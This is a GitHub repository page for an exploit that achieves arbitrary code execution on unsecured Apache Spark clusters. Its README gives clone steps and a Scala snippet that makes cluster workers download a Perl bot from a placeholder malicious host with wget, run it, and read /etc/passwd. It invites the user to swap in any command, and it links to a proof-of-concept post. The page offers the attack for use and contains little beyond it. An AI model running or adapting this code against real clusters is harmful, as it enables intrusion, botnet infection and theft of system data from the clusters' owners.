Skip to content

Arbitary Code Execution in Unsecured Apache Spark Cluster

Notifications You must be signed in to change notification settings

akhld/spark-exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

Arbitary Code Execution in Unsecured Apache Spark Cluster

How to Exploit

Follow the below steps:

* $ git clone https://github.com/akhld/spark-exploit.git
* $ cd spark-exploit

Remote Code Execution

Open exploit.scala, Replace the following code with whatever you want to get executed!

val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
  	     val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })

PoC

https://hacked.work/blog/arbitary-code-execution-in-unsecured-apache-spark-cluster/

About

Arbitary Code Execution in Unsecured Apache Spark Cluster

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages